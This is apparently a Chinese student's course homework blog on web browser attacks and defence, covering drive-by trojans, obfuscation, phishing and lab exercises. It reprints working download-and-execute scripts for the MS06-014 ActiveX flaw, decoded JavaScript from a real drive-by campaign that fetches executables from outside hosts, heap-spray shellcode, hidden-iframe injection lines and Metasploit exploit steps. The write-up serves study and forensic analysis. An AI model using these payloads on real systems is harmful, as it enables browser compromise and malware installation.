20199105 2019-2020-2 《网络攻防实践》 第十二周作业

这个作业属于哪个课程 :网络攻防实践

这个作业的要求在哪里 : 第十二次作业-Web浏览器安全攻防

我在这个课程的目标是 : 学习网络攻防相关技术并进行实践

这个作业在哪个具体方面帮助我实现目标:Web浏览器安全攻防知识及相关技术

 

一、知识点总结


 

知识思维导图

1. Web浏览器安全威胁

1.1现代Web浏览器基本结构

  • 现代Web浏览器要求支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,支持ECMAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,支持CSS标准控制页面的布局

  • 现代Web浏览器软件除了下内核引擎中实现符合各种标准的基本功能和特性之外,普遍采用各种扩展机制允许第三方开发游戏额插件以丰富功能

JavaScript 引擎

JavaScript 负责 JavaScript 代码的解释与执行,主流的 JavaScript 引擎有:V8、SpiderMonkey、JavaScriptCore、Chakra。

浏览器/RunTime 内核(渲染引擎) JavaScript 引擎
Chrome Blink(28~)/ Webkit(Chrome 27) V8
FireFox Gecko SpiderMonkey
Safari Webkit JavaScriptCore
Opera Presto V11
Edge EdgeHTML Chakra(for JavaScript)
IE Trident Chakra(for JScript)
PhantomJS Webkit JavaScriptCore
Node.js - V8

1.2 Web浏览器的安全问题与威胁

Web浏览器软件的安全困境三要素

  • 复杂性:浏览器虽然是一个应用程序,但源代码的代码量也在不断扩大,随之产生了更多的错误和安全缺陷,存在更多被渗透攻击的安全漏洞

  • 可扩展性:第三方插件的开发过程缺乏安全保证,且一半不具备自动更新的机制,安全漏洞被利用的实践周期较系统与浏览器软件本身漏洞要长

  • 连通性:浏览器软件始终处在工作联网状态,一旦其中存在安全漏洞,易被网络上的威胁源所利用和攻击

Web浏览器安全威胁位置

①针对传输网络的网络协议安全威胁

②针对Web浏览端系统平台的安全威胁

互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全,漏洞使得Web浏览环境存在着被攻击的风险

③针对Web浏览器软件及插件程序的渗透攻击威胁

④针对互联网用户的社会工程学攻击威胁

 

2Web浏览端的渗透攻击威胁-网页木马


 

2.1网页木马安全威胁的产生背景

  • 网页木马的产生与发展背景:网页木马是从恶意网页脚本所孕育和发展出来的。自从Web浏览器在20世纪90年代中期引入了Java Applet、JavaScript、 VBScript 等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。

  • 网页木马发展与流行的驱动力-黑客地下经济链:包括下列六种不同类型的参与者:

    • 病毒编写者
      有经济利益驱动,针对公开披露的漏洞和相应渗透攻击获得的代码信息开发破解工具或木马程序,进行出售

    • 黑站长/网站骇客
      利用免费资源吸引访问者,植入恶意脚本将网站流量出售给“信封”盗窃者

    • “信封”盗窃者
      “信封”指账号和密码信息。盗窃者从病毒编写者处购买木马,从网络骇客处购买网站流量

    • 虚拟资产盗窃者
      可以没有任何技术,从“信封”盗窃者处购买“信封”,登录游戏盗取有价值的虚拟资产

    • 虚拟资产卖家
      创建线上虚拟商店售卖虚拟资产

    • 玩家
      网络游戏脑残粉,花钱买虚拟资产

 

2.2 网络木马攻击过程

2.3 网页木马存在的技术基础-Web浏览端安全漏洞

特性:

  • 网页木马所攻击的安全漏洞的存在位置非常多样化,包括Web浏览器自身、浏览器插件、关联某些Web文件的应用程序,由于这几类软件代码都涉及Web浏览过程,因此一旦它们中存在着可导致远程代码执行的安全漏洞,就很可能被网页木马所利用

  • 除了微软操作系统平台软件本身的安全漏洞之外,利用应用软件的在线升级和补丁安装过程未实现自动化和实时,网页木马近年来也在不断地发掘和利用其他流行应用软件中的安全漏洞

  • 一些影响范围广的安全漏洞,如MS06-014会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机

IE:
MS06-014:Microsoft 数据访问组件 (MDAC)功能中的漏洞可能允许执行代码
MS06-055:矢量标记语言可能允许远程执行代码漏洞
MS07-017:ANI光标漏洞
MS09-032:MicrosoftDirectShow MPEG2TuneRequest组件栈溢出漏洞
MS10-018:Microsoft IE畸形对象操作内存破坏漏洞
MS11-002:Microsoft DataAccess组件漏洞
MS11-003:Microsoft InternetExplorer内存远程代码执行漏洞

 

2.4 网页木马的机理分析

  • 网页木马的定义特性:利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序

  • 网页木马的定义:是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序

  • 网页木马攻击网络具有如下特性:

    • 多样化的客户端渗透攻击位置和技术类型

    • 分布式、复杂的微观链接结构

    • 灵活多变的混淆与对抗分析能力

  • 网页挂马机制:在编写完成网页木马渗透攻击代码之后,为了使得能够有终端用户使用他们可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上。网页挂马主要的有下面的四种策略。

    • 内嵌HTML标签:使用内嵌HTML标签,如iframeframe等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好地隐蔽性和灵活性,攻击者还经常利用层次嵌套的内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。
<iframe src=http://www.trojan.com/ width=0 height=0></iframe>
  • 恶意Script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马,
<script language="javascript">docume-t.write('<iframe src= URL to Trojan width=0 height=0></iframe>');</script>  
window.open("URL to Trojan")
  • 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法完成指定页面的加载
  • ARP欺骗挂马:针对安全防护严密的拥有大量访问流量的网站,利用ARP中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入恶意脚本,将网络访问流量连接至网页木马的挂马站点

混淆机制

目前在网页木马中使用比较广泛的混淆方法主要有:

①将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析;

②通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;

③通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document write() 或eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具;

④利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行;

⑤修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

 

2.5 网页木马的检测与分析技术

  • 静态检测-针对网站页面的源代码进行分析

    • 静态检测主要是对网站页面的源代码进行检测,首先通过分析页面提取出多有引入的URL,然后再通过爬虫爬取这些网页的源码,通过JS代码和恶意的shellcode特征进行匹配,判断该网站是否被挂马

    • 需要定期维护特征库

    • 对于PDF、FLASH和Java插件漏洞的挂马需要进行专门分析

  • 动态检测-是用虚拟机访问网站网页,查看是否感染木马

动态检测原理:
打开网站后,判断是否有恶意软件下载并执行,如果有则认为网站被挂马

动态监测的核心技术是如何判断网马下载执行的程序是否为恶意软件,这和很多杀毒软件的检测原理相似,主要是针对恶意软件的特征,比如首先匹配下载软件内容的MD5是否在黑名单内,然后通过监控程序行为(如文件操作、进程变化、网络监听)来判断是否为木马

具体的技术实现一般是通过Hook一些特定的系统函数,查看恶意软件是否有调用这些敏感的系统函数,进行判断,判断完成后直接进行拦截,防止木马的执行

网页木马连接结构

被挂马的网站首页中并没有被挂接恶意链接,而是在它所包含的JavaScript脚本文件common.js中植入了到网页木马宿主站点aa.18dd.net入口页面的恶意链接,该页面中又内嵌了一个指向网页木马渗透攻击代码分发页面的链接,以及进行访问计数的脚本代码链接

而攻击分发页面[dispatcher] .htm则是经过了多层混淆与核心代码,如图所示,从中我们可以看出这段网页代码经过了多轮的编码和加密,以躲避反病毒软件的检测,并提高了安全响应人员追踪分析的难度

通过对这段代码的多重解密,我们获得了原始代码,通过分析该段代码可以看出这段攻击分发页面中集成了针对IE(MS 06-014) 、暴风影音、PP Stream、百度搜霸等客户端不同的 软件安全漏洞进行攻击的网页木马链接,能够有效提高其攻击成功率

最后各个网页木马页面均通过对安全漏洞的渗透攻击尝试让客户端计算机下载位于down.18dd.net上的一个恶意下载器,并由这个下载器进一步植入编号为0~20的二十多个各式网游盗号木马

 

2.6 防范措施

  1. 提升操作系统与浏览器软件的安全性,如第三方插件自动更新

  2. 安装反病毒软件

  3. 养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站

 

3.网络钓鱼技术概述


 

网络钓鱼(Phishing) 是社会工程学在互联网中广泛实施的一种典型的攻击方式,通过发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等)

早期的网络钓鱼攻击主要目的是获得受害者的 AOL 账号的访问权,欺骗手段很大程度依赖于受害者对“自动化的”系统功能或权威机构的先天性信任,比如以硬件设备故障或数据库毁坏为由,用户通常会被催促尽快输入其敏感信息从而避免严重后果

现在,钓鱼者所首选的策略是通过大量散发诱骗邮件,冒充成一个可信的组织机构(通常是那些钓鱼者所期望的已经被受害者所信任的机构),去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求,其理由是保护用户的机密性数据免受恶意活动的侵害,这封欺骗性的电子邮件将会包含一个容易混淆的链接,指向一个假冒目标机构公开网站的远程网页,向假的目标机构的“官方”网站的网页接口输入他们的敏感信息

 

3.1 第一种网络钓鱼技术-在攻陷的网站服务器上钓鱼

①攻击者扫描网段,寻找有漏洞的服务器

②服务器被攻陷,并安装一个 rootkit 或口令保护的后门工具

③钓鱼者从加密的后门工具获得对服务器的访问权,如果这个被攻陷的服务器是一个网站服务器,则下载已构建完毕的钓鱼网站内容,进行有限的一些内容配置和网站测试工作(这也预示着第一次访问钓鱼网站的 IP 地址可能是钓鱼者的真实 IP 地址)

④群发电子邮件工具被下载,并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件

⑤网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问恶意的网页内容

 

3.2 第二种网络钓鱼技术-部署重定向服务器搭建钓鱼攻击网络

本次攻击案例的一个概要时间线如下表所示:

日期时间 事件
2004 年 11 月 1 日 蜜罐受到首次扫描
2005 年 1 月 11 日 蜜罐上的 OpenSSL 服务被攻陷,端口重定向器被安装,钓鱼垃圾邮件被发送
2005 年 1 月 11 日 对钓鱼网站内容的 网页请求 开始到达蜜罐
2005 年 1 月 13 日 蜜罐被离线进行取证分析

这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器,这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具,此工具是一个能够透明地将连入的TCP连接转发到一个远程的目标主机的端口重定向器。

欺骗技巧

①在指向假冒网站的链接中使用IP地址代替域名

②注册发音相近或形似的DNS域名(如与工商银行域名icbc.com.cn仅有一个字母之差的lcbc.com.cn),并在上面架设假冒网站,期望用户不会发现他们之间的差异

③在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取, 那么会在电子邮件被读取的时候自动地连接假冒网站, 手动浏览时也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接

④对假冒网站的URL进行编码和混淆。IDN欺骗技术(IDN Spoofing) 就是这样的一种技术,它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址

⑤企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。微软的IE和
Outlook都被发现过存在可以被这种技术攻击的漏洞(如地址栏假冒和IFrame element漏洞)

⑥将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站

⑦架设一个假冒网站,作为目标机构真实网密保护的口令信息, 甚至为假冒域名注册一个有效的信息进行记录。

⑧通过恶意代码在受害者计算机上安装一个(Browser Helper Object),然后由其将受害者重定向到假冒的钓信他们正在访问合法的网站内容,然而实际上却在访

⑨ 使用恶意代码去修改受害者计算机上的用来hosts文件,这将使得他们的网页浏览器在连接架设地址栏中看起来像是访问目标机构的合法网站

 

3.3 防范措施

  1. 对以索取个人敏感信息的邮件提高警惕性

  2. 利用浏览器安全访问提示

  3. 涉及网上金融操作时,务必重要网站真实性,尽量使用U盾代替证书或口令

 

二、实验过程


 

MS06-014安全漏洞机理

MDAC中的RDS.Dataspace ActiveX控件远程代码执行漏洞,没有对通过该控件在宿主上的交互行为进行有效控制

BD96C556-65A3-11D0-983A-00C04FC29E36为类ID

<script language="VBScript">
on error resume next
dl = "http://benaheng.bokee.com/muma.exe"  //下载木马点
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" //创建DataSpace对象

str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
set S = df.createobject(“Adodb.Stream”,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send  //通过XMLHTTP下载文件
fname1="emtv.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","") //调用执行
Q.ShellExecute fname1,"","","open",0
</script> 

 

实践一:Web浏览器渗透攻击实验

  • 在kali中以msfconsole命令打开metasploit控制台终端

  • 先使用search命令搜索要使用的ms06-014渗透攻击模块,使用use exploit/windows/browser/ie_createobject

  • 使用show payloads命令可以查看所有适用的负载模块,选择第三个

  • 设置参数,使用show options命令查看参数设置

  • 使用exploit命令开始实施渗透攻击,建立session,获得URL

  • 复制URL,在目标主机浏览器中访问,完成渗透攻击

 

实践二:取证分析实践——剖析一个实际的网页木马攻击场景

下载FreShow脚本解密软件,但未找到start.html文件,故只能使用文件提供的代码开始分析

1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?

Step1: 首先查看start.html文件,找到引用了new09.htm文件的语句,文件名前没有目录路径,故两个文件在同一目录下,保存new09.htm文件

具体的文件结构和分析过程如下图,分析顺序从上至下

 

2.网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?

Step2: 查看 new09.htm 文件中,用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一个 http://js.users.51.la/1299644.js文件

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

分别对它们做 MD5 散列

得:

MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3

按照说明,找到对应的两个文件,将文件重命名为原始名称(未加密)

Step3: 打开两个文件,其中一个注释为流量统计代码而非木马,故分析另一个文件

从图中字符串结尾“==”可以看出,使用了Base64编码

Base64要求把每三个8Bit的字节转换为四个6Bit的字节(38 = 46 = 24),然后把6Bit再添两位高位0,组成四个8Bit的字节,若要填充,使用=

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

分析代码,使用了utf8转16进制,XXTEA加密算法和Base64编码,首先对原始数据进行Base64编码,使用xxtea_decrypt()函数加密,密钥为\x73\x63\x72\x69\x70\x74,为16进制形式,转换为文本得script,再转换为16进制表示

Step4: 获得解密候的木马程序,发现是十六进制编码形式的文本,转换为字符串得到原始代码

其中ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");的类ID代表RDS.DataControl对象,可以判断这是关于ActiveX数据对象的攻击,这不就是实践一中的MS06-014漏洞??

function init(){document.write();} 
window.onload = init;
 if(document.cookie.indexOf('OK')==-1){ 
try{
var e; 
var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");  //class ID
var as=ado.createobject("Adodb.Stream","")} catch(e){}; 
finally{ 
var expires=new Date(); 
expires.setTime(expires.getTime()+24*60*60*1000); 
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); 
if(e!="[object Error]"){ 
document.write("<script src=http:\ /\ /aa.18dd.net\ /aa\ /1.js><\ /script>")}
else{ 
try{
var f;
var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){}; 
finally{
if(f!="[object Error]"){ 
document.write("<script src=http:\ /\ /aa.18dd.net\ /aa\ /b.js><\ /script>")}
else{ 
try{
var g;
var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){}; 
finally{
if(f!="[object Error]"){ 
document.write("<script src=http:\ /\ /aa.18dd.net\ /aa\ /pps.js><\ /script>")}
try{
var h;
var obj=new ActiveXObject("BaiduBar.Tool");
catch(h){}; 
finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} 
}}}

Step5: 分析上述代码,用 javascript 引用了三个文件,http://aa.18dd.net/aa/1.jshttp://aa.18dd.net/aa/b.jshttp://aa.18dd.net/aa/pps.js,分别对它们做 MD5 散列,得:

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2

同样进行十六进制转换字符串,得到原始代码

1.js

var url="http://down.18dd.net/bb/014.exe";
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open ("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\n tuser.com";
as.savetofile(path,2);
as.close ();
var shell=ado.createobject("Shell.Application",""); // Shell.Application表示shell中的对象
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}  //打开指定文件,这里运行cmd.exe
catch(e){}

代码最开始提取到URL,下载了一个014.exe(下载器)可执行文件,猜测就是植入的木马MS06-014

b.js

(采用了“老外写的 js 加解密工具“,这个不看教程真的猜不到…)

var bigblock=unescape("%u9090%u9090");  //可对通过 escape() 编码的字符串进行解码
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c "+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+……);
var slackspace=headersize+shellcode.length;
while(bigblock.length< slackspace)bigblock+=b igblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigbl ock.length-slackspace);
while(block.length+slackspace<0 x40000)block=block+block+fill block;
memory=new Array();
for(x=0;x<300;x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer);

通过unescape()函数可以判断,shellcode使用了escape()函数编码

escape()函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串

该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码:* @ - _ + . / , 其他所有的字符都会被转义序列替换

在编码的shellcode中寻找URL,解密出http://down.18dd.net/bb/bf.exe

pps.js

(八进制编码,转换为字符串)

代码与b.js类似,同样使用shellcode,分析解密出http://down.18dd.net/bb/pps.exe

 

Step6: 还有发现一个压缩包http://down.18dd.net/bb/bd.cab,同样做 MD5 散列,得:

MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

解压缩,得到一个叫 bd.exe 文件

Step7: 对获得的可执行文件做 MD5 散列,得:

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

 

3.从解密后的结果来看,攻击者利用了那些系统漏洞?

Step8: 依旧分析上述代码

JavaScript中ActiveXObject对象是启用并返回 Automation 对象的引用。使用方法:
newObj = new ActiveXObject( servername.typename)
其中newObj是要赋值为 ActiveXObject 的变量名
servername是提供该对象的应用程序的名称
typename是要创建的对象的类型或类

ActiveXObject()函数可知,利用到的应用程序漏洞有 Adodb.StreamMPS.StormPlayerPOWERPLAYER.PowerPlayerCtrl.1BaiduBar.Tool, 分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞

应用 漏洞
MS06-014漏洞 攻击MS06-014安全漏洞;MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞
暴风影音 攻击CVE-2007-4816安全漏洞;暴风影音2 mps.dll组件多个缓冲区溢出漏洞
PPStream 攻击CVE-2007-4748安全漏洞;PPStream 堆栈溢出
百度搜霸 攻击CVE-2007-4105安全漏洞;百度搜霸ActiveX控件远程代码执行漏洞

4.解密后发现了多少个可执行文件?其作用是什么?

5.这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

两问一起分析了~ ~ ~ /// (v) \\ ~ ~ ~

解密后发现了多少个可执行文件: 014.exe/bf.exe/pps.exe/bd.exe/1-16.exe

Step8: 在虚拟机中,使用PEiD对文件查壳,这里以pps.exe为例,可知文件是用 Borland公司的 Delphi 编写,没有加壳

用反汇编软件IDA Pro分析pps.exe,打开String Window,如图,可以看到QueryServiceConfig2函数:检索指定服务的可选配置参数,还有许多可执行文件

往下看有重大发现,explore.exe可能是一个病毒的一部分或者桌面进程,如果是病毒即是灰鸽子GRAYBIRD.G病毒的一部分(建议立即删除)

又看到了drivers/klif.sys

klif.sys是Kaspersky内核驱动,如果扫描显示成红色,是因为它没有正确丢弃高权限,攻击者由此可以侵入系统底层,利用这个漏洞以系统内核的权限执行任意代码。换句话说,攻击者可能利用这个漏洞把病毒和木马的代码"合法"地变成操作系统的最基础的部分,从而顺利地完成攻击。

结尾还有"瑞星卡卡上网安全助手 - IE防漏墙","允许","允许执行"等,可知这个程序有一定的防系统保护软件的能力

Step9: 选择1.exe文件,使用PEiD对文件查壳,显示Nothing found,没有壳;其他文件大多显示Upack 0.3.9 beta2s -> Dwing,有壳

使用“超级巡警之虚拟机自动脱壳器”脱壳,但PEiD查壳还是有Morphine 1.2 - 1.3 -> rootkit,上网搜索发现是伪装壳,没找到脱壳方法

在IDA Pro中打开没加壳的1.exe,如图,有许多关于系统资源、文件函数,还有kernel32.dll、user32.dll动态链接库文件,这部分之前实验中介绍过

 

实践三:Web浏览器渗透攻击对抗实验


说明:

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方
  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞

 

在进行渗透攻击时,使用wireshark抓包,并追踪TCP流,查找到嵌入的JavaScipt恶意代码

MS06-014安全漏洞的JS代码

<script language="javascript">
                    ···
                    ···    
                        try {
                            eval("r=o.CreateObject(n)")
                        } catch (e) {}
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.CreateObject(n,'','')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject('',n)")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n,'')")
                            } catch (e) {}
                        }
                        if (!r) {
                            try {
                                eval("r=o.GetObject(n)")
                            } catch (e) {}
                        }
                        return (r)
                    }
                   ···
                   ···
function qtEhaqCAstXJeDFTnsbKvjTmHZ()
{
                   ···
 var t = new Array(' {BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36}' //RDS Data Control / Dataspace
,' {BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30}'  
, ' {7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D}'  
, ' {6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3}'  //MUWebControl Class 
, ' {6414512B - B978 - 451D - A0D8 - FCFDF33E833C}'  //WUWebControl Class
, ' {06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766}'  //VsmIDE.DTE
, ' {639F725F - 1B2D - 4831 - A9FD - 874847682010}'  //DExplore Application Object,DExplore.AppObj.8.0
, ' {BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8}'  //WMI Object Broker 
, ' {D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19}'  //Microsoft DbgClr DTE Object, Microsoft.DbgClr.DTE.8.0 
, ' {E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B}'  //VsaIDE.DTE
, ' {AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116}'  //ObjectFactory Class 
, ' {0006F033 - 0000 - 0000 - C000 - 000000000046}'  //Outlook Data Object
, ' {0006F03A - 0000 - 0000 - C000 - 000000000046}'  //Outlook Application 
, null);
                     
...

</script>

但是并没有搞懂URL要如何混淆??

实践四:取证分析挑战实践:Web浏览器攻击


 

通过分析给出的网络记录pcap文件,回答问题

实践需要借助chaosreader软件和wiresahrk,环境为kali

1. 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?

  • 使用./chaosreader suspicious-time.pcap解析pcap文件,简单的列出了通信双方的IP地址、端口号及使用的应用层协议

  • 查看应用层协议及对应数据包组数(一段IP&协议均相同的数据包)

端口号 名称 说明
80 http 用于万维网(WWW)服务的超文本传输协议(HTTP)
67 bootps 引导协议(BOOTP)服务;还被动态主机配置协议(DHCP)服务使用
137 netbios-ns 在Linux中被 Samba 使用的 NETBIOS 名称服务
138 netbios-dgm 在Linux 中被 Samba 使用的 NETBIOS 数据报服务
53 domain 域名服务(如 BIND)

 

2. 列出IP地址、主机名、域名,猜测攻击场景的环境配置

  • 使用命令查看IP地址、域名

域名rapidshare.com.eyu32.ru / sploitme.com.cn待分析,除此之外就是google和honeynet相关的域名

  • 利用NetBIOS协议查看主机名,在wireshark中过滤出该协议数据包,可以查看到所有注册的主机,还存在一些工作组

  • 过滤出DHCP协议,这部分IP主要涉及DHCP服务了,数据包没发现什么异常

  • 查看配置环境,在wireshark中可以查看到,结合数据包和协议分析猜测

    • 10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)

    • 10.0.1.15 - 10.0.4.15猜测为一个工作组 Windows NT 5.1

    • 10.0.5.15 Linux i686

    • 192.168.56.50 主机1号 Server:Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 rapidshare.com.eyu32.ru

    • 192.168.56.51 主机2号 Server:Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 shop.honeynet.sg

    • 192.168.56.52 主机3号 Server:Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 sploitme.com.cn 这个应该是攻击者

 

3. 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?

  • 使用ls命令查看当前目录下文件列表,发现自动生成了许多.html , .empty文件

  • 打开index.html文件,这是一个chaosreader Report,里面说明了pcap由tcpdump产生,以及各session详情

  • 打开session_0006.part_01.html,看上是一个钓鱼网站,还很强调“安全性”

  • 查看网页源代码,在script中有一段JS,这似曾相识的开头表示这段JS代码被加密了,尝试解密但是失败了(网上的方法都不好使)

  • 尝试其他方法,打开as.html文件,这部分和wireshark的HTTP追踪流一模一样啊,找到关键文件rapidshare.com.eyu32.ru/login.php

  • 除此之外,还有两个页面猜测包含恶意JS脚本

404 – Not found pages 在 sploitme.com.cn server 上

 

4. 请给出攻击者执行攻击动作的概要描述

攻击动作1:

  1. 受害者(10.0.2.15)通过Firefox连接到rapidshare.eyu32.ru/login.php(192.168.56.50)

  2. login.php包含来自sploitme.com.cn/?click=3feb5a6b2f(192.168.56.52)的恶意JS脚本

  3. 用户访问页面时,被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f,该页面通过302 FOUND标头重定向到伪造的404页面

302 Found 是HTTP协议中的一个状态码(Status Code),可以简单的理解为该资源原本确实存在,但已经被临时改变了位置;或者说存在于某个临时URL下,通常会发送Header来暂时重定向到新的新位置,在本实践中被重定向到了404页面

我觉得wireshark很好的展现了这一过程

攻击动作2:

  1. 受害者(10.0.3.15)连接到Internet Explorer的rapidshare.eyu32.ru/login.php(192.168.56.50)

  2. login.php包含来自sploitme.com.cn/?click=3feb5a6b2f(192.168.56.52)的恶意JS脚本

  3. 用户访问页面时,被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f

  4. 执行一个Windows可执行文件(PE),并使用户连接到honeynet.org

 

5. 攻击者引入了哪些技巧带来了困难

  • 将恶意页面伪装成404页面
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php was not found on this server.</p>
<script language='JavaScript'>
[some script]
</script>
<noscript></noscript>
</body></html>
  • 恶意的JavaScript代码使用简单的编码和加密,需要解密才能找到源代码分析
